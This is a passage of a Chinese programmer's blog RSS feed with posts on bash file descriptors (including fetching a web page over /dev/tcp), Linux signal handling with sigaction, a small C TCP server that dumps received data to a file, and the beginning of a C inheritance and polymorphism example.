写一个小数点.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 3&gt;&amp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 关闭fd 3.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cat file1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # ==&gt; 1234.67890</div><div></div><div>&nbsp; &nbsp; 2. 用bash下载网页</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ exec 3&lt;&gt;/dev/tcp/www.baidu.com/80</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ echo -e "GET / HTTP/1.0\r\n\r\n" &gt;&amp;3</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ cat &lt;&amp;3</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ ls -l /proc/$$/fd</div><div>&nbsp; &nbsp; &nbsp; &nbsp; total 0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lr-x------ 1 admin admin 64 2016-03-30 10:14 0 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 1 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 2 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 255 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 3 -&gt; socket:[173770096]</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ exec 3&gt;&amp;- # exec 3&lt;&amp;-也可以关闭</div><img src ="http://www.blogjava.net/bacoo/aggbug/429893.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-03-30 12:10 <a href="http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>signal process</title><link>http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 17 Feb 2016 03:30:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/429353.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/429353.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/429353.html</trackback:ping><description><![CDATA[<div>信号学习：</div><div>1。简单点用signal（主要就1个api，signal(SIGINT, SignalHandler)和signal(SIGINT, SIG_IGN)就是全部了）；</div><div>2。复杂点用sigaction（可以设置在handling期间，允许/不允许哪些信号打断自己）；</div><div>3。当前线程handling过程中，当前线程不会因为相同signal再次进入handler，但当前线程可以被别的signal打断重新进入handler，别的线程可以进入handler；</div><div>例如下面这个例子，只有一个主线程，先被SIGINT打断进入handler，虽然又被SIGTERM打断再次进入handler：</div><div>#0 &nbsp;0x00007f7cc55dc200 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82</div><div>#1 &nbsp;0x00007f7cc55dc090 in __sleep (seconds=&lt;value optimized out&gt;) at ../sysdeps/unix/sysv/linux/sleep.c:138</div><div>#2 &nbsp;0x0000000000468300 in SignalHandler (sig=15) at src/dispatcher2_server.cpp:78</div><div>#3 &nbsp;&lt;signal handler called&gt;</div><div>#4 &nbsp;0x00007f7cc55dc200 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82</div><div>#5 &nbsp;0x00007f7cc55dc090 in __sleep (seconds=&lt;value optimized out&gt;) at ../sysdeps/unix/sysv/linux/sleep.c:138</div><div>#6 &nbsp;0x0000000000468300 in SignalHandler (sig=2) at src/dispatcher2_server.cpp:78</div><div>#7 &nbsp;&lt;signal handler called&gt;</div><div>#8 &nbsp;0x00007f7cc55dc200 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82</div><div>#9 &nbsp;0x00007f7cc55dc090 in __sleep (seconds=&lt;value optimized out&gt;) at ../sysdeps/unix/sysv/linux/sleep.c:138</div><div>#10 0x000000000046844a in main (argc=1, argv=0x7fff048454a8) at src/dispatcher2_server.cpp:102</div><div></div><div>demo：</div><div>static void SignalHandler(int sig) {</div><div>&nbsp; &nbsp; if (SIGTERM == sig || SIGINT == sig) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; struct sigaction sa;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; memset(&amp;sa, 0, sizeof(sa));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sa.sa_handler = SIG_IGN;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sigaction(SIGINT, &amp;sa, NULL); // keep other threads from entering this handler</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sigaction(SIGTERM, &amp;sa, NULL); // keep other threads from entering this handler</div><div>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; //...</div><div>&nbsp; &nbsp; }</div><div>}</div><div></div><div>struct sigaction sa;</div><div>memset(&amp;sa, 0, sizeof(sa));</div><div>sa.sa_handler = SignalHandler;</div><div>sigfillset(&amp;sa.sa_mask); // block every signal during handling</div><div>sigaction(SIGINT, &amp;sa, NULL);</div><div>sigaction(SIGTERM, &amp;sa, NULL);<br /><br /><br /><pre style="line-height: normal;">介绍：http://www.alexonlinux.com/signal-handling-in-linux<br />demo：http://aspyct.org/blog/2012/08/25/unix-signal-handling-example/<br /><br /><br /></pre></div><img src ="http://www.blogjava.net/bacoo/aggbug/429353.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-02-17 11:30 <a href="http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>tcp_server that is used to dump tcp datas</title><link>http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 10 Dec 2015 13:15:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/428603.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/428603.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/428603.html</trackback:ping><description><![CDATA[<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->#include&nbsp;&lt;stdlib.h&gt;<br />#include&nbsp;&lt;sys/types.h&gt;<br />#include&nbsp;&lt;stdio.h&gt;<br />#include&nbsp;&lt;sys/socket.h&gt;<br />#include&nbsp;&lt;netinet/<span style="color: #0000FF; ">in</span>.h&gt;<br />#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>.h&gt;<br />#include&nbsp;&lt;getopt.h&gt;<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;get_remote_ip_and_port(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in*&nbsp;s_add,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;ip,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;port)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!s_add&nbsp;||&nbsp;!ip&nbsp;||&nbsp;!port)&nbsp;<span style="color: #0000FF; ">return</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;*port&nbsp;=&nbsp;ntohs(s_add-&gt;sin_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;*ip&nbsp;=&nbsp;s_add-&gt;sin_addr.s_addr;<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;get_local_ip_and_port(<span style="color: #0000FF; ">int</span>&nbsp;fd,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;ip,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;port)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(fd&nbsp;&lt;=&nbsp;0&nbsp;||&nbsp;!ip&nbsp;||&nbsp;!port)&nbsp;<span style="color: #0000FF; ">return</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in&nbsp;s_add;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sin_size&nbsp;=&nbsp;<span style="color: #0000FF; ">sizeof</span>(s_add);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(getsockname(fd,&nbsp;(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr&nbsp;*)&amp;s_add,&nbsp;&amp;sin_size)&nbsp;==&nbsp;0&nbsp;&amp;&amp;&nbsp;s_add.sin_family&nbsp;==&nbsp;AF_INET&nbsp;&amp;&amp;&nbsp;sin_size&nbsp;==&nbsp;<span style="color: #0000FF; ">sizeof</span>(s_add))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*port&nbsp;=&nbsp;ntohs(s_add.sin_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ip&nbsp;=&nbsp;s_add.sin_addr.s_addr;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /><br /><span style="color: #0000FF; ">char</span>*&nbsp;get_ip_str(<span style="color: #0000FF; ">int</span>&nbsp;ip,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;buf)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;inet_ntop(AF_INET,&nbsp;&amp;ip,&nbsp;buf,&nbsp;INET_ADDRSTRLEN);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;buf;<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;usage(<span style="color: #0000FF; ">char</span>*&nbsp;argv0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout,<br />"Usage:&nbsp;%s&nbsp;[-p&nbsp;&lt;port&gt;]&nbsp;[-o&nbsp;output_file]&nbsp;[-h]\n\n"<br />"&nbsp;-p&nbsp;&lt;port&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;local&nbsp;port&nbsp;used&nbsp;to&nbsp;listen,&nbsp;by&nbsp;default,&nbsp;8888\n"<br />"&nbsp;-o&nbsp;&lt;output_file&gt;&nbsp;output&nbsp;file&nbsp;used&nbsp;to&nbsp;record&nbsp;the&nbsp;data&nbsp;received&nbsp;from&nbsp;client,&nbsp;by&nbsp;default,&nbsp;dump&nbsp;to&nbsp;./x.in\n"<br />"&nbsp;-h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;this&nbsp;usage\n"<br />"\n",&nbsp;argv0);<br />}<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sfp&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;nfp&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in&nbsp;s_add,&nbsp;c_add;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sin_size&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;server_port&nbsp;=&nbsp;8888;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;remote_port&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;remote_ip&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;remote_ip_str[INET_ADDRSTRLEN];<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;local_port&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;local_ip&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;local_ip_str[INET_ADDRSTRLEN];<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;output_file[256];<br />&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output_file,&nbsp;"%s",&nbsp;"./x.in");<br />&nbsp;&nbsp;&nbsp;&nbsp;FILE*&nbsp;ofp&nbsp;=&nbsp;0;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;c&nbsp;=&nbsp;'\0';<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;option&nbsp;long_options[]&nbsp;=&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"help",&nbsp;0,&nbsp;0,&nbsp;'h'},<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;0,&nbsp;0}<br />&nbsp;&nbsp;&nbsp;&nbsp;};<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">while</span>&nbsp;(-1&nbsp;!=&nbsp;(c&nbsp;=&nbsp;getopt_long(argc,&nbsp;argv,&nbsp;":p:o:h",&nbsp;long_options,&nbsp;NULL)))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">switch</span>&nbsp;(c)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'p':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;server_port&nbsp;=&nbsp;atoi(optarg);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">break</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'o':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output_file,&nbsp;"%s",&nbsp;optarg);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">break</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'h':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'?':&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">an&nbsp;option&nbsp;character&nbsp;that&nbsp;was&nbsp;not&nbsp;in&nbsp;optstring</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;':':&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">an&nbsp;option&nbsp;with&nbsp;a&nbsp;missing&nbsp;argument</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">default</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(argv[0]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;sfp&nbsp;=&nbsp;socket(AF_INET,&nbsp;SOCK_STREAM,&nbsp;0);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;sfp)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("socket&nbsp;fail&nbsp;!&nbsp;\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("socket&nbsp;ok&nbsp;!\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;bzero(&amp;s_add,&nbsp;<span style="color: #0000FF; ">sizeof</span>(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in));<br />&nbsp;&nbsp;&nbsp;&nbsp;s_add.sin_family&nbsp;=&nbsp;AF_INET;<br />&nbsp;&nbsp;&nbsp;&nbsp;s_add.sin_addr.s_addr&nbsp;=&nbsp;htonl(INADDR_ANY);<br />&nbsp;&nbsp;&nbsp;&nbsp;s_add.sin_port&nbsp;=&nbsp;htons(server_port);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;bind(sfp,&nbsp;(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr&nbsp;*)&nbsp;(&amp;s_add),&nbsp;<span style="color: #0000FF; ">sizeof</span>(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr)))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("bind&nbsp;fail&nbsp;!\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("bind&nbsp;to&nbsp;%d&nbsp;ok!\n",&nbsp;server_port);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;listen(sfp,&nbsp;5))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("listen&nbsp;fail&nbsp;!\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("listen&nbsp;ok\n\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;ofp&nbsp;=&nbsp;fopen(output_file,&nbsp;"wrb");<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">while</span>&nbsp;(1)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sin_size&nbsp;=&nbsp;<span style="color: #0000FF; ">sizeof</span>(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nfp&nbsp;=&nbsp;accept(sfp,&nbsp;(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr&nbsp;*)&nbsp;(&amp;c_add),&nbsp;&amp;sin_size);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;nfp)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("accept&nbsp;fail&nbsp;!\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("accept&nbsp;ok!\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get_remote_ip_and_port(&amp;c_add,&nbsp;&amp;remote_ip,&nbsp;&amp;remote_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get_local_ip_and_port(nfp,&nbsp;&amp;local_ip,&nbsp;&amp;local_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("establish&nbsp;connect&nbsp;%s:%d&nbsp;-&gt;&nbsp;%s:%d\n",&nbsp;get_ip_str(remote_ip,&nbsp;remote_ip_str),&nbsp;remote_port,&nbsp;get_ip_str(local_ip,&nbsp;local_ip_str),&nbsp;local_port);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(ofp,&nbsp;"-----------------&nbsp;establish&nbsp;connect&nbsp;%s:%d&nbsp;-&gt;&nbsp;%s:%d&nbsp;-----------------{\n",&nbsp;get_ip_str(remote_ip,&nbsp;remote_ip_str),&nbsp;remote_port,&nbsp;get_ip_str(local_ip,&nbsp;local_ip_str),&nbsp;local_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;buffer[1024];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;recbytes&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;total_bytes&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">while</span>&nbsp;((recbytes&nbsp;=&nbsp;read(nfp,&nbsp;buffer,&nbsp;1024))&nbsp;&gt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;total_bytes&nbsp;+=&nbsp;recbytes;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fwrite(buffer,&nbsp;1,&nbsp;recbytes,&nbsp;ofp);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(ofp,&nbsp;"\n}----------------&nbsp;receive&nbsp;%d&nbsp;bytes&nbsp;------------------\n\n",&nbsp;total_bytes);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("receive&nbsp;over!\n\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdout);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(ofp);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(nfp);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;fclose(ofp);<br />&nbsp;&nbsp;&nbsp;&nbsp;close(sfp);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}</div><img src ="http://www.blogjava.net/bacoo/aggbug/428603.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-12-10 21:15 <a href="http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C实现继承和多态</title><link>http://www.blogjava.net/bacoo/archive/2015/08/08/426681.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Fri, 07 Aug 2015 23:30:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/08/08/426681.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/426681.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/08/08/426681.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/426681.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/426681.html</trackback:ping><description><![CDATA[<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->#include&nbsp;&lt;stdlib.h&gt;<br />#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>.h&gt;<br />#include&nbsp;&lt;stdio.h&gt;<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">-------------&nbsp;&nbsp;Person&nbsp;&nbsp;--------------</span><span style="color: #008000; "><br /></span>typedef&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;Person&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>*&nbsp;derived_obj;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;name;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;(*life)(<span style="color: #0000FF; ">struct</span>&nbsp;Person*);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;(*live)(<span style="color: #0000FF; ">struct</span>&nbsp;Person*);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;(*delete)(<span style="color: #0000FF; ">struct</span>&nbsp;Person*);<br />}&nbsp;Person;<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Person_life(Person*&nbsp;p)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("As&nbsp;a&nbsp;person,&nbsp;I'm&nbsp;%s,&nbsp;the&nbsp;life&nbsp;is&nbsp;colorfull\n",&nbsp;p-&gt;name);<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Person_live(Person*&nbsp;p)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("As&nbsp;a&nbsp;person,&nbsp;I'm&nbsp;%s,&nbsp;I'd&nbsp;like&nbsp;to&nbsp;live&nbsp;in&nbsp;city\n",&nbsp;p-&gt;name);<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;delete_Person(Person*&nbsp;p)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;free(p-&gt;name);<br />&nbsp;&nbsp;&nbsp;&nbsp;free(p);<br />}<br /><br />Person*&nbsp;new_Person(<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;name)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;Person*&nbsp;p&nbsp;=&nbsp;(Person*)malloc(<span style="color: #0000FF; ">sizeof</span>(Person));<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;name_len&nbsp;=&nbsp;(<span style="color: #0000FF; ">int</span>)strlen(name)&nbsp;+&nbsp;1;<br 